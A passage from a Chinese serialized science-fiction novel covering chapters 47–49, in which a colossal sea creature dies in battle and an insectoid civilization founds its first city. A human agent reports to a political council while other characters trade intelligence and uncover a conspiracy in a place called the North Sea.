过于庞大的身躯做着毫无规律的动作,带着整个冥海不断搅动,浓雾也随着她的动作风起云涌,天上天下又重新化作混沌的一团。
大颚们足下的浮冰因为更猛烈的海啸彼此撞击,而触手与伽拉瑟亚又联合发起疯狂的攻击,冥海四处不断传来着大颚的惨叫声。
安提强撑着身体,死死攀住埃勒伽的身体,不让自己被甩下去,一道触手突然出现,自她身后狠狠抽来,听见身后凶狠的风声,她及时侧身躲过,触手直接鞭打到背鳍上,无数鳞片瞬间崩裂、碎落。
安提感到埃勒伽的身体微微颤抖,而后越来越剧烈,痛苦反而进一步将她激怒。
狂暴的埃勒伽更凶猛地挣扎起来,安提只好死死抓住埃勒伽背鳍的鳞片,任由滔天的海浪一阵阵地扑打到身上。
安提这边还在顽强应战,冥海之上的大颚们开始重新集结队伍,她们站在不同的浮冰上,用身后的毒鞭牢牢栓住彼此,尽力不让同伴坠落下海。
负伤严重的大颚们被这样的方式慢慢转移到沙滩上,残余的小虫和拉姆们负责为她们疗伤,而尼努尔塔和其他的首领率领其她的阿努,继续向冥海中心的埃勒伽冲锋。
这是一场空前震撼的战争,也是一场艰苦的持久战。
埃勒伽以一对多,她庞大的身体逐渐颤抖起来,肉块雨点般扑簌簌地掉落海中,击起巨大的水花,荡起的海浪连绵不断,前线的大颚们踩在起起伏伏的浮冰上,发现被她们的巨颚挑下的鳞片开始褪色,又渐渐变得透明,融化消失在海水中。
埃勒伽拼着最后的力气,高高一跃至天空,发出一声痛苦的咆哮。
她那古老的身体已经伤痕累累,血液将冥海染成一片暗沉的赤色,血液、浮冰和海沫混搅做一起,荡做大片大片的浪涛,海风带着浓重的血腥味阵阵刮过,像是阿努特纳星上所有生灵的坟墓在齐声哭嚎。
穷途末路之际,令所有阿努意想不到的事情发生了——
埃勒伽突然一头撞向那天空上高悬的明星,触手接触到灼眼的光明大那一刻,开始燃烧汽化。
剧烈的痛苦席卷整个身体,但埃勒伽并不退缩,她猛地睁大眼睛,那通往海渊未知深处的瞳仁死死盯住伊南娜的显现。
下一秒,明星被埃勒伽的眼瞳所吞没、陷落,整个冥土再次陷入黑暗的混沌。
埃勒伽这是要和伊南娜同归于尽!
大颚们急切地看着埃勒伽就这样将明星吞入腹中,却不想下一秒,天幕之上,一个黑色的身影疾跑过埃勒伽的身躯,冲破无数触手的阻碍,在所有阿努意想不到的瞬间,毫不犹豫地跃至天空之上,将明星牢牢抓在手中,如同一线流星划过天空,顷刻便落入埃勒伽漆黑深邃的眼瞳。
局势暂时陷入停滞,埃勒伽吞没掉那枚明星后,跃落天空,水花溅起涌动,浮冰上的大颚们被击落下海,狼狈地互相帮助着爬起,眼睁睁看着埃勒伽潜入冥海深处。
冥土表面很快恢复了平静,血腥
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的海浪一阵阵地打来,又融入海水之中,渐渐低下去,化作无数泛着血色的海沫。
大颚们面面相觑了一阵,又马不停蹄地忙活起来。
还算能继续坚持的开始帮助那些负伤严重的,岸上的拉姆和小虫们们因为及时赶往海滩附近的树林中,所以大多数得以幸存,而大颚们现在几乎全军覆没。
包括尼努尔塔和其他的首领在内,统共还有三十八只大颚。
在暂时的包扎和治疗后,残余的所有大颚站起身,彼此默默交换了一个眼神,不约而同地继续向冥土的方向走去。
一只拉姆在她们身后喊了一声,似乎是忍不住,试图阻止她们继续送死。
没有一只大颚回头,黑压压的铠甲表面崩了数条裂缝,汩汩的血液从其中溢出,那是埃勒伽的触手鞭打出来的伤痕。
尼努尔塔失去了一只眼睛,那是不慎被浮冰撞坏的,黑色的虫目因为其中眼液的流失,现在变得有些微微的透明。
她经过那个拉姆身边,低垂的触角轻轻地拍了拍拉姆的肩膀,坚实的步伐却步履不停地走过,拉姆的眼中顷刻溢出泪水,嘴唇颤抖着张了张,终究没再阻拦。
针对埃勒伽的征讨还在继续,即使埃勒伽已经潜入海渊之中,大颚们依旧在冥土之中搜寻她的足迹。
直到乳白色的天光亮起,地平线显出一线明亮的轮廓,浓重赤色的夜幕被一点点抹去,一切死去的生灵都沉入冥海之中,苍白的光线穿透重重雾海,第一次将这片古老的遗迹照亮。
“在那边!”
不知道是谁率先喊了一声,尼努尔塔和其他的阿努抬起头,望向声音传来的方向,看见那个大颚激动的视线后,又顺着她的视线望向冥土中心的方向。
一道已经完全骨化的背鳍慢慢直海平面露出,渐渐的,埃勒伽自冥海之中升起。
她的身躯已化作白骨,所有的血肉都剥离落入浩瀚的遗恨之地中去,连同那憎恨的、不屈的目珠,一同永远消逝去,化作海渊深处腐烂重生的尘泥。
安提就站在白骨的中心处,她扶着骨架的一侧,身上泛着伊南娜那炽烈的光明,那枚凝星轻轻悬浮在她手心,绽放出无比耀眼的光芒,似乎是在宣告自己的胜利。
大颚们发出震天的欢呼,有的眼中忍不住溢出泪水,有的远远地向安提这边奔来,有的与同伴相拥,庆祝伊南娜的存活,埃勒伽的陨落,和她们等了太久太久的胜利。
安提合上掌心,将凝星收起。
她用手掌轻轻抚摸着埃勒伽的残骸,视线远远望向远处白色的天光。
不同于埃勒伽狰狞恐怖的身躯,她的骨架残骸冰冷坚硬,圆润晶莹,如同残缺不全的珍珠,伫立在海面与天幕组成的蚌壳之中。
在寒潮退去的末端,第一缕温暖的天光穿透重重雾海,终于将这里再次照耀,蔚蓝的海平面上闪耀着晶莹剔透的光泽,平静的浪涛起起伏伏,乳白色的海沫在沙滩上留下一道道,光线折射出虹彩的光芒,又被大颚们匆忙的脚步轻轻踩碎。
在海洋旧主含恨死去的那一刻起,从埃勒伽流出第一滴眼泪的那一刻起,这片土地沉寂在漫无边际的仇恨之中,那些生机勃勃的存在,已经让它等了太久太久。
“埃勒伽,我赞美你的崇高。”
安提轻轻说道,俯下身子,对这抱憾千年的生命留下她深情的、衷心的一吻。
她将兑现她的诺言,以埃勒伽的名义,做她的第一座城都。
在所有大颚的见证下,那枚凝星被安提远远抛掷过来,送入尼努尔塔手中。
而她自己,则随着埃勒伽的身躯,沉入海洋地底深处,那未知的黑暗之中。
阿努特纳星上,新的时代,就要到来了。
47.她所建造的,即她永驻之地
睁开眼睛,是刺眼的光线,神经倏地被刺痛,祝吟辰猛地坐起身,大喘着气,像是从一场漫长的噩梦中被惊醒。
经过那样的撞击,她的意识还有些恍恍惚惚的昏沉。
等到身体感到好受了一些,她轻轻张开左手的手掌,那里什么都没有。
伊斯默德……关于这个名字的记忆似乎已经有些模糊,可能是在那样混乱的情况下,被原子能量虹吸装置吸收掉了。
不过现在没事了,那个装置,伊斯默德,连同整个不可复归之地,都已经消失得无影无踪了。
一切都那样寂静无声,无人知晓,沉没在海中。
连同她的所有的孩子,那些还没有名字的。
祝吟辰此时身处不知名的森林之中,身下是潮湿的雪地,零星的雪花打着旋儿慢慢飘落,她抱住自己,将头深深埋在两臂间,身体渐感到刺骨的冷。
残存的回忆还留在脑海中,良久,她发出一声啜泣,眼眶中再也忍不住溢出泪水。
她其实跟伊斯默德不算太熟,仔细想想,也就是半个月左右的时间,或许要更长一点,也或许更短一点。
那样原始的、蛮横的生命,某种程度来说,甚至要比安提更为纯粹。
她看见她们长着同一双眼睛,在其中,她望透这颗星球从古到今的历史,看见她们都在同一片土地,在不同的境地下努力奔跑。
在倾听伊斯默德絮絮叨叨那些古老的岁月时,她看似毫不在意,不如说是有些茫然和麻木,以至于有些置身事外的尴尬了。
那些热血澎湃的历史,属于异族雌性的完全的骄傲,与自己有什么相关呢?
自己不过是个被亲生母亲所抛弃的人,孑然一身流离在外,拼尽半辈子在周围无数的男人中间力争向上,甚至连被派遣到阿努特纳星,都是因为驻地来了更年轻的男下属,而自己就这样被排挤出去,顶着自爆牺牲的巨大风险,被抛弃在如此遥远的外星文明。
事实总是这样残忍而平凡,理所当然得似乎像是一个笑话。
似乎不去回忆蓝星上的过往,就能以阿努的身份昂首挺胸地奔跑在这片土地上,仿佛生为女人确实没有任何烦恼一般。
她到底是人类,还是阿努?
是什么,使得伊斯默德甘愿牺牲一个文明,来挽救独独的一个自己,这样一个卑鄙无耻的人?
在未知的光明冲击不可复归之地的那一刻,她从装置中惊醒,隐隐约约看见安提的身影,还有无比耀眼的一颗明星,炽热的光芒将一切都燃烧,耳边传来埃勒伽临死前不甘的咆哮。
空前激烈的战斗在冥土深处进行,整个洞穴受到影响,开始坍塌,时间和空间的乱流几乎要将她撕碎,在身体与灵魂巨大的痛苦中,她发出凄厉的惨叫。
濒死的绝望将理智淹没,在向命运妥协之际,那个小小的身影却如同顶天立地的巨神一般,穿越了所有阻碍,不顾一切地向她飞来,将她紧紧抱住。
混乱之中,她听见伊斯默德好像说了句什么,然后无数的小虫自伊斯默德腹中飞出,散作星尘点点。
幼小的生命,还只是一点飘逸的荧光,这就是那些最原始的、最纯粹的生命。
无数荧光围绕在她身边,将她的真身庇护,带着她飞出装置的作用立场。
祝吟辰看着伊斯默德留在其中,一双黑豆小眼望着自己,一对透明的小翅膀因为作用立场的贪婪吸取,逐渐没了力气,只勉强在空中扑闪着。
明明看起来那么清晰、那样生动,为什么却离自己越来越远?
祝吟辰不记得自己有没有哭了,一切发生得那么突然,原来死亡和告别从来都这样平淡,不留情面。
她努力向伊斯默德伸出手,拼命想让她抓住自己,视线中的一切却飞速地向后退去,如同时空两端一瞬的连接,下一刻,便要以光速飞驰离去。
但至少她记住了伊斯默德留给她的最后一句话。
“我统治此地的文明结束了,你还要出去,做你骄傲的事。”
在加速逃离坍塌洞穴的过程中,护卫她的小虫们也在不断地被陷入失灵的装置吸收。
当她终于逃出洞穴,潜入海水的那一刻,最后一只小虫也离开了她的指尖,最后一点荧光翩然消逝,与她们的母亲,伊斯默德,永眠于她们遗落的国度。
埃勒伽的咆哮和安提的喊声在海水中激荡,那场空前激烈的大战搅起了整个冥海,祝吟辰被冲进了冥海深处的乱流,意识开始逐渐昏迷……
此时此刻,她就在这里。
一片陌生的森林,大概是被那可怖的海水冲上来的。
不知道坐在原地哭了多久,天色已经有些暗沉的赤色,大地覆上一层绯红,远处传来不知名生物归巢的鸣叫声。
祝吟辰摇摇晃晃地站起身。
泪水已经流失,过去的事也应要过去。
她现在需要食物、今晚的住处和……继续做她应该做的事情。
找到安提。
因为待在这里过久,祝吟辰身上的铠甲已经覆了一层积雪,脸色也变得有些苍白,薄薄的冰花凝结在眼睫,眼液被冻得微微僵硬和酸肿。
寒潮终将会退去的。
凭着最后的体力,她向北行进,试图穿越过黑暗笼罩的森林,未敢在这片陌生的区域暂做歇息。
不知道走了多久,在稀疏的树林枝桠间,她远远望见了一块有些发蓝的颜色,几何状边缘被剪得有些发黑的晕影。
用手轻轻挡开层层树桠,上面的雪扑簌簌地落下,堆在脚印的边缘。
在最后一条枝桠抽离视野的那一刻,咸腥的海风扑面而来,灌进鼻腔,眼前的景象总算有些熟悉的意味。
这里是冥海的边缘地带,那片散布着黑色礁石的月牙状沙滩。
只是……看起来与之前的样子大不相同?
如果说以前的冥土是死寂的海面上大片的迷雾云起浪涌,冥冥之中隐藏着深重的危险,那么现在的冥土更像是天幕与海面组成了两块巨大的蚌壳。
一个略有些残缺的、庞大的白骨架构静静地伫立其中,上半部分露出海面,下半部分不知何从,宛若一颗遗世独立的骨珍珠,骨壁上流淌着玉莹温润的光泽。
没有危险迷雾的重重遮挡,这一切变得似乎触手可及,给人一种恍恍惚惚的、身处梦中的感觉。
祝吟辰看着这熟悉又陌生的一切,心中渐感到有些迷惑。
安提呢?
伊南娜呢?
兴风作浪的埃勒伽呢?
一阵海风刮来,树枝枝桠沙沙作响,腹部传来剧烈的绞痛,强烈的饥饿感让她眼前有些眩晕。
先不管这些了,现在最紧要的是寻找食物。
她走出树林,沿着空旷的沙滩边上,慢慢地走,一边寻找沿岸可能会被海水冲上来的食物,一边时不时抬头观察海中的那颗白色骨珍珠。
天际渐亮起一线乳白的浮光,天光从地平线那头慢慢升起,笼罩大地的赤色慢慢消退去,海面上荡漾起一片迷离的波光粼粼。
在天光彻底亮起之前,祝吟辰在岸上发现了一种熟悉的生物,她和安提曾经在冥土里见过,是那种喜爱温暖水温,散发着荧光的微小生灵。
虽然现在寒潮还未完全退去,但对温度的渴望使得它们从深一些的海水里浮游上来,随着海平面四处漂游,有的就因此随着海浪被拍到了岸上。
祝吟辰蹲下身子,现在不是它们繁衍生息的季节,因此个头比她之前遇见的小了许多。
但也可以吃。
祝吟辰坐在沙滩上,开始进食。
她一边咀嚼,一边望向远方,一声陌生的鸟鸣声远远传来,海浪平静地拍打着沙滩,浪花边缘镶嵌着一圈亮晶晶的荧光,那应该是某种会发光的藻类。
等找到安提了,就让她像以前一样,给自己介绍一下吧。
直到感到微微的饱腹感,祝吟辰站起身,活动了一下身体,站在原地考虑了一下,决定先去她们之前居住的洞穴去看看,那里说不定可以找到安提。
熟悉的道路,熟悉的树林,快速穿越重重树林,在
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即将见到溪流的林中路段,前方突然传来陌生的说话声,祝吟辰顿时提起警惕,倏地停下动作,左手抓住头上的树枝,利落地翻身上树,隐藏在树丛中。
头上的触角微微探动,她小心翼翼地观察着前方,前方的树丛渐渐被拨开,两个庞大的黑影从其中踏出。
是大颚!
她们怎么在这里?
祝吟辰顿时感到脑中有些混乱,在她不在的这些时间里,安提和伊南娜都做了些什么?
在雪原的时候,大颚曾经听命于伊南娜,让她们送她和安提去冥土,现在的话,也不排除伊南娜同样会命令大颚来帮助她们讨伐埃勒伽。
因为……她刚才在沙滩转了一圈,确实没感受到埃勒伽的气息。
祝吟辰心中突然感到一丝遗憾,虽然她和埃勒伽因为不同的立场,站在不同的阵营,虽然她们甚至从来都没有说过一句话,但是身处如此遥远的文明之中,就算是敌对的对手,也能让孤寂的内心得到一丝与同类还有所联系的安慰。
何况,连一句话都没说过,连她那遥远的故事也不知道,这样潦草的结局好像有些令人遗憾。
居然会想念仇敌……她在外星际待出病来了吗?
不,祝吟辰摇了摇头,现在不是想这些的时候,搞清楚大颚的目的才是真正要紧的事情。
她凝聚心神,仔细去听树下大颚的对话。
“西方树林,找到了吗?”
“没有,南方的洞穴附近找到了她以前生活的痕迹,但没有找到真身。”
“那等会回去了,让下轮巡逻的大颚再沿着南方洞穴寻找一圈。”
“埃勒伽什里面也没找到吗?伊南娜阿努萨说过她当初落到了那里。”
“没有……”
大颚们的声音渐行渐远,她们似乎在往冥土的方向赶过去。
她们在找谁?
还有,那个埃勒伽什是什么?
祝吟辰仔细思考了一下,强烈的直觉告诉她,她们就是在找自己。
但是她还不知道大颚们找自己的目的,要是出去了,万一遭到那天尼努尔塔那样凶残可怖的围剿怎么办?
“在犹豫什么?”
一只手鬼魅般出现,轻轻搭到她的肩上,祝吟辰吓得一激灵,她本能地挥动肘镰,斩向身后!
极快的锋芒抵近黑色铠甲胸膛的那一刹那,祝吟辰突然意识到什么,猛然顿住动作,整个虫好像上世纪的定格动画一般,有些僵硬地抬起头。
熟悉的虎目慵懒地微微眯起,唇角勾出一抹戏谑的笑意,这张脸的主人,总是令她感到头疼不已。
还没等祝吟辰反应过来,伊南娜热情地张开双臂,一把将祝吟辰抱在怀中,亲昵地蹭了蹭她的头发。
祝吟辰整张脸被埋没在伊南娜那头赤色的卷发中,她闻到一种带着温暖阳光气息的沙漠中的草木味道,那些熟悉的相处日常似乎也扑面而来。
作为二十年以来都生活在个体原子化工业城市里的人类,祝吟辰其实不太习惯阿努这种血浓于水的打招呼的方式。
更何况是伊南娜……
“好了好了,别抱了,”
祝吟辰七手八脚地推开伊南娜,直截了当地问道:“安提呢?我不在的这段时间里,你们都做了些什么?”
伊南娜看着祝吟辰的眼睛,这么久不见的同伴就这样对待自己。她轻轻叹了口气。
“这么久不见,我以为你会更想我一点。”
“我当然很想你了,”
祝吟辰脸上勉强挤出一个微笑,“安提呢?她在哪里?”
听到这话,伊南娜一挑眉,倒也不继续计较,只是遥遥地望向远方那颗海上珍珠。
祝吟辰顺着伊南娜的视线看过去,不知为何,一种不安的预感窜上心头。
“她所建造的,即她永驻之地。”
伊南娜缓缓开口,那声音似乎就在祝吟辰耳边响起,在心底阵阵回荡。
“欢迎来到埃勒伽什,伊塔,阿努新的文明,就要从这里开始。”
48.北海暗影,争斗已起
联合城邦,总部大楼联合会议室。
一如既往的回溯报告,祝吟辰陈述完毕,关闭公示屏上的影像,静静等待十二位主席的反应。
总指挥率先打破沉默,做了第一个鼓掌的人,会议室里陆续响起了祝贺的掌声,周明脸上也不得不撑起一丝勉强的笑容。
“祝少校,你干得好哇,人类没有信错你!”
总指挥扬起双臂,夸张地感叹道:“当是现在年轻人的榜样,当初 AGPC 直属军校数一数二的人才,无人区特遣部队的名将,名不虚传!”
杨威也点了点,注视着祝吟辰,眼神中满是对后辈的欣赏。
“现在目标对象建起了第一座城市,已经在虫母眼皮子底下打下了根据地,离找到虫母的坐标,看来是不远了。”
“指日可待啊!”
“星际特工局里有总指挥坐镇,各位同僚办事的效率就是又快又好!”
……
跟着杨威的老派主席都连声称赞起祝吟辰和总指挥来,白银虽然是新上任不久的主席,对阿努特纳斯计划了解不多,但也快速融入了气氛,另一个新上任的主席孤零零地坐在位置上,似乎是因为被孤立,完全不了解状况,只是默默地附和着点头。
一片喝彩之中,一个突兀的声音响起。
“祝吟辰上校,我听你刚才那么说,好像你还不了解目标对象现在的情况?”
所有人都看向声音传来的方向,周明微皱着眉头,眉宇间露出一副众人皆醉我独醒的、忧心忡忡的模样。
祝吟辰平静地点了点头。
“是的,根据另一个虫族的情报,她目前深陷在地底,正在繁衍生育新的虫族,除此之外,无法得知关于她更多的情况。”
“那个虫族,你觉得可信吗?”
“她与我这段时间并肩作战,我们是彼此的战友,我个人认为,可以相信。”
杨威坐在主座上,听到战友这个词从祝吟辰嘴里说出来,眉头微微皱起。
“我记得你之前说过,你和目标对象曾经被她抛弃在那个什么居里,使得你们被另一个虫族抓捕。”
“那并非一定的因果关系,实际上,事后在我看来,那很有可能是她对目标对象能否下定决心背叛菌群的考验。”
“你是说,那个虫族也不信任你可以说服目标对象背叛虫群吗?”
“我不是这个意思……”
“还有,你那个目标对象是不是太过活络了?我没有感受到,她身上有那种虫母的母性,你确定她已经和雄虫□□过吗?她听起来更像是一个野孩——”
“我希望您可以尊重我的工作,和我的工作内容!”
其他的人被这突如其来的怒斥吓了一跳,他们面面相觑,看到审判桌上的祝吟辰,眼神锋利而冒犯,直视着周明的眼睛。
她已经不想继续回答这夹枪带棒的审问,做他们党争的牺牲者。
作为女人,她或许可以习惯于去承受无数的偏见和打压,但安提不行。
她是……那样生机勃勃的、骄傲的阿努。
所以决不能像自己一样,被他们踩在脚下。
杨威的眉头皱得更紧了,他深深地看了一眼祝吟辰,眼底透出些复杂的情绪来。
总指挥反应极快,再次出来打圆场,三两句什么未来、人类、希望之类的话,就此将会议草草结束。
会后,祝吟辰一如既往地被执行人员带到家中,等待几个小时后实验室设备的重启。
巧的是,执行人员刚刚离开,祝吟辰的电话就响起来了。
她放下刚接的水,点开屏幕,是林筑的来电。
屠启的消息有了?
祝吟辰赶紧关上门窗,走到卧室,点击接听键。
“你好,我是祝吟辰。”
“祝少校,是我,林筑!”
电话那头熟悉的女声传来。
“您让我帮您找的那个屠一鸿,还有那个屠启,有下落了!”
祝吟辰精神一振,这么多天以来,终于有好消息传来,刚才会议室的阴霾似乎一扫而空。
“请讲。”
“我在您以往的驻地,战后难民驻地三号遗址,找到了一个我以往的线人,她在里面的文件室工作,帮我拿到了这两年内的难民信息登记簿,里面有屠启的名字!”
“屠启的基本个人信息上显示,她今年四十一岁,有一个叫屠一鸿的女儿,在两年前曾就职于世界生命收容所,因为工作原因,在患上癌症后决定离职,在半年前的十二月一日独自来到三号驻地。”
“奇怪的是,在抵达三号驻地的两天后,她就死在了附近的帮派斗争地附近,尸体也早已经被专人火化安葬了。”
听到突如其来的噩耗,祝吟辰心中一惊,一阵淡淡的悲伤泛上心头。
原来屠一鸿费尽心思,甚至不惜威胁自己寻找的,她的母亲,已经离开人世了啊。
“有写死亡的原因吗?或者其他的身份信息?”
“没有,法医在无人区一向紧缺,就算找到凶手,也无法在帮派中得到有效的司法交涉,所以就只好按照程序,直接火化处理了。”
“关于她的女儿,屠一鸿的呢?”
“有,但是也很少,当时给屠启登记的记录报告上显示,她对于女儿的信息似乎也不太清楚,只知道她在离开世界生命收容所之前,就把屠一鸿留在了那里,托付那里工作的朋友照顾屠一鸿。”
“意思是,屠启和屠一鸿都曾经在世界生命收容所生活工作?”
“看起来是这样。”
“好的,我知道了,辛苦你了,小林。”
“没事,举手之劳!您以后还有什么要帮忙的,直接找我就好啦!”
祝吟辰挂断电话,心中思绪纷繁。
世界生命收容所这个机构,她很熟悉,无人区里凡是有生命探索收容任务的驻地,都必须定期将收容的种子、生命探测报告和其他生命残留的资料交到世界生命收容所,以此来保证战后生物多样性的可持续性发展研究。
世界生命收容所是离联合城邦最远的人类机构,坐落在南大陆边缘地带,是世界上最寒冷,也是被战争辐射污染最轻的地方。
祝吟辰曾经所带领的战前难民驻地三号遗址,也有与世界生命收容所交接的任务,在她看来,这群远离人世的科学家是令人尊敬的生命守卫者,在战火连绵的世界里,仍然保持着人性的光辉。
屠一鸿大老远跑到联合城邦,甚至不惜留在萧衍身边,就是为了找到她的母亲吗?
总之,现在屠一鸿要的情报已经有了着落,那就如实回复她吧。
虽然,是个令人遗憾的结局。
祝吟辰拨通屠一鸿的电话,几乎是下一秒就接通了,电话那头传来熟悉的少女声音。
“你好,祝少校。”
“我打这个电话是想告诉你,屠启有着落了。”
电话那头突然变得很安静。
“屠启在半年前确实来过我曾经的驻地,但自那两天后,她就死在了附近的帮派聚集地。”
祝吟辰垂下眼睫。
“我很抱歉,如果那时候我还在的话,那边的帮派或许不会这么猖狂。”
电话那头还是异常地安静,过了约一分钟左右,少女的声音再次响起,却出乎祝吟辰的意料,那声音平静极了,听不出一点悲伤的情绪。
“好的,我知道了,感谢您的情报,出于我们的合作关系,我会继续留在这边,帮助您找到阿图特的下落。”
“另外,请您在这通电话后,将我的联系方式和资料全部删除,我这边有阿图特的消息后,会使用其他的方式,单方面联络您。”
祝吟辰还来不及询问原因,少女就直接挂断了电话。
为什么……要删除联系方式?
她看着被挂断的屏幕,心中突然感到不安的预感,她尝试回拨过去,然而这次,电话那头居然提醒是空号。
屠一鸿居然直接就注销了号码?!
到底发
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生了什么?
祝吟辰站在原地,一时间有些愣神。
明明是温暖的室内,她身上莫名其妙出了一层冷汗,好像掉入了冰窟之中,一种诡秘的恶意,无声无息地围绕着她,将她的生活完全包围。
无处可逃。
……
联合城邦 C2 区,黑环。
晦暗的小巷中,尽头堆满了恶臭肮脏的垃圾,苍蝇和老鼠穿梭其中,巷口穿行的人群中,一只手突然悄无声息地扔进来什么东西,而后立即离去。
折断的通话芯片溅起一片泥水,而后被窜出的老鼠衔去,永远消失在黑暗中。
屠一鸿隐藏在人群中,慢慢地走着。
她穿得很低调,灰色的斗篷将全身都遮住,兜帽低低地压着,让人一眼就知道这是来黑环做交易的潜在顾客。
走过一对珠光宝气的富人夫妇时,低垂的帽檐下,她斜瞥到角落的揽客商贩冲自己吹了一声口哨,她立即停住脚步,向那个商贩走去,商贩也配合地转身走进店中。
店门关闭的提示音响起,屠一鸿掀开兜帽,抬起头,映入眼帘的是一个狭小拥挤的私人电脑室,房间中心的一台电脑上插了无数根线子,数十个屏幕显示在上面,显然是在通过连接战前网络来达到躲避 AGPC 通用网络的目的。
这是个卖情报的地方。
情报贩子一屁股坐在房间唯一的一把椅子上,歪歪斜斜地翘着二郎腿,率先开了口。
“想要什么?”
“AGPC 科技管理局局长,十二主席之一,袁立,在这半年内的所有去向情报。”
情报贩子盯着屠一鸿的眼睛,笑而不语。
知道这里的规矩,屠一鸿干脆地拿出储存芯片。
“北海,萧衍。”
这两个词组成的情报都值钱,情报贩子嘿嘿一笑,转过身,开始办正事,算是应下了这桩交易。
屠一鸿躲在一旁阴暗的角落里,倚靠着灰扑扑的墙面,抱着两臂,默默等待着。
灰暗冰冷的房间,重重线路将视线中的一切缠裹、包围,空气中弥漫着淡淡的尘埃气息,刺得鼻腔痒痒的,白炽灯下晃晃悠悠的影子,随着老旧散热器的响声摇摆、旋转。
她曾经对这一切无比熟悉。
祝吟辰的情报来源多半是被人暗算了,在屠启抵达三号遗址之后的半个月内,她们还时常有着联系,直到她们因为那件事大吵了一架,她就再也找不到屠启的下落了。
明明她才是屠启的女儿,为什么屠启宁愿相信那个时不时发神经的老头,也不相信自己的能力呢?
明明她才是零启计划的起草者,明明她才应该是最有话语权的那个。
可是她现在孤身在外,像条被赶出家门的流浪狗一样。
无助又无能。
“好了,资料都在这里面。”
情报贩子的话打断了她的思绪,一个储存芯片被丢过来,她手忙脚乱地接住,然后将自己的芯片丢给情报贩子,在对方不怀好意的眼神里快速离开。
穿梭在人流中,屠一鸿暗暗捏紧了手中的芯片,路过刚才的小巷后,她快速地钻出人群,躲进小巷深处。
在这里,到手的情报不能久留,毕竟你不知道你能留它多久。
她将芯片插入识别器中,无数文字和数据一一显现在屏幕中,她一目十行地看过,直到目光停在上面记录的,袁立两周前的行踪上。
果然是北海!
阿图特被北海的神秘买家拍下后失踪,萧衍最近神神秘秘的举止,袁立抵达过北海内部,和屠启曾经告诉过她的归宿——
“AGPC 科技管理局或许可以帮助我们,事实上,他们最近也在联系我。”
“不过,我现在还在赶往战前难民三号遗址的路上,其他的事,还是以后说吧。”
屠一鸿暗暗握紧拳头,心中的那个猜想越发清晰。
屠启,已经加入了袁立的计划,他们就在北海,准备着……他们那可笑的计划。
49.她将觅暗影,他将率人群
北海,科研楼。
陈立新刚刚从安之恒的办公室出来,转角就遇到了凌风。
“你怎么来了?”
陈立新抱着一沓资料,惊讶地盯着气喘吁吁的凌风。
“不是说好了安教授这里的课题由我否负责?”
凌风脸上露出有些尴尬的笑容。
“那个,我来拿一下忘在这里的储存芯片,哈哈哈。”
陈立新盯住凌风的眼睛,眉头慢慢皱起,眼中透出一丝狐疑。
“不会是信不过我?”
“怎么会呢!我当然是非常相信你的学习能力的啦,哈哈哈……”
凌风干笑着,一步一卡顿地挪动,慢慢离开陈立新的视线,在摸索到办公室把手的那一刻,连忙开门钻了进去。
“……”
陈立新翻了个白眼,凌风这么喜欢操心,那就让他做两份事好了。
反正接下来自己还有活要干。
离开科研楼,在租车回家的路上,陈立新总算接到了等待多日的电话。
这次她记得调小音量了,电话铃声低调地响起,她赶紧接起。
“你好,我是陈立新。”
电话那头传来五六个不同的女声,都七嘴八舌地调笑着,似乎是身处在比较热闹的环境里。
“是我们呀,星星姐!”
哇,是杨子雯她们!
陈立新顿时来了精神,没想到这次奕川这么好,给她派来的都是大学城里玩的好的朋友。
“你们在哪里?什么时候到?”
“我们在……路……25号哈哈……”
电话那头传来有些混乱的笑声,和瓶瓶罐罐跌倒碰撞的声音,看来她们已经玩起来了。
陈立新心里又高兴,又有些埋怨,可恶,这帮人居然不等她!
等她赶过去,谁要是先醉了,她就要在谁脸上画大乌龟!
“你们到底在哪里啊?!”
电话那头嘻嘻哈哈了好一会,才艰难地突出一个还算清醒的声音。
“我们在北海商业街万源路125号!”
直接定位到号码所在的地址,陈立新爽快地一拍前座司机的肩膀。
“姐姐,麻烦改一下,去这个地方!”
……
与姐妹们一直玩到深夜,直到安之恒发来担忧的短信,陈立新才回过神来,赶紧借口有事,先行离开。
她才刚刚走出房间,隔壁包间里突然冲出来一个醉的不成人形的正方体老头,跌跌撞撞地晃了几步,哇一声吐出来。
闻到对方身上传来一股肥腻油脂和酒液混合的味道,陈立新无助地捂住口鼻,忍不住干呕一声,决定先去洗手间洗把脸再走。
清冽的水流淌过手指缝间,浸湿双手,她捧起一把水,轻轻拍打在脸上,水珠滑落脸颊,意识因为冰凉的刺激逐渐清醒。
那个老头,好像看起来有点眼熟……
等等,那个老头!
记忆里的脸重合的那一瞬间,陈立新猛地抬起头来,看见镜子中的自己,和她有着一样震惊的眼神。
水流哗啦啦地流动着。
袁立怎么在这里?
奕川前脚让她去找AGPC科技管理局的动向,她后脚就见到了管理局的老大本人!
世界上,果真有如此巧合的事情吗?
她陈立新今天,是不是过于幸运了?
等会回去之前,试着买一张那个叫什么,彩票吧……
对了,可别让袁立那老头跑了!
陈立新赶紧扯下几张纸巾,三两下擦干净脸和手,急急忙忙冲出卫生间。
果然,走廊里那老头还趴着,几个服务员围着他,试图将他搀扶起来。
陈立新不好站在原地驻足观看,连忙上前,做出热心路过客人的样子,帮着服务员一起拉起袁立,几个人晃晃悠悠地挪进袁立包间。
她一边咬紧牙关抵住袁立肥厚的背部,一边试图悄悄观察里面的情形。
角落里好像有几个人影……
“不好意思,小姐。”
一个突兀的声音响起,宽阔的黑影横过,将她的视线遮挡。
陈立新心中一惊,感到臂膀处压着的重量消失,她抬起头,几个军人将自己团团围住,强行将自己隔在包间外。
他们臂膀上的徽章是……北海驻区特遣部队?
为首的军人做出请离的姿势,礼貌的微笑着。
“麻烦您了,放着这里我们来吧。”
陈立新干笑几声,“没事,尊老爱幼人人有责。”
不对劲,哪里不对劲。
陈立新一边走在走廊里,一边默默回想着。
之前在上邦的台球厅里,听到祝少校对那个寸头女生的逼供时,她就怀疑过,阿图特被买到北海的事情和萧衍脱不了关系。
而不久前,奕川莫名其妙给她塞了个调查北海这边AGPC科技管理局的任务。
就在刚才,她又亲眼看见管理局局长与北海军方有保护和被保护的关系。
陈立新心中的预感越发强烈,一个大胆的猜测逐渐浮上心头。
难道,在黑环买下阿图特的神秘买家就是袁立,而萧衍因为这其中的某种原因,选择和袁立合作?
不一定,万一人家萧衍只是例行公事,派了人手来照顾来这里旅游玩乐的十二主席之一呢。
两种想法在脑海里打架,陈立新走出店外,看到停车场来来往往的人群,和一闪一闪的车灯,暗暗决定了今晚的行动。
与其在这里胡思乱想,不如暗地里跟踪袁立的行程,看看他到底来北海干什么!
她拿起手机,拨通了一个号码。
“屠一鸿,是我,陈立新。”
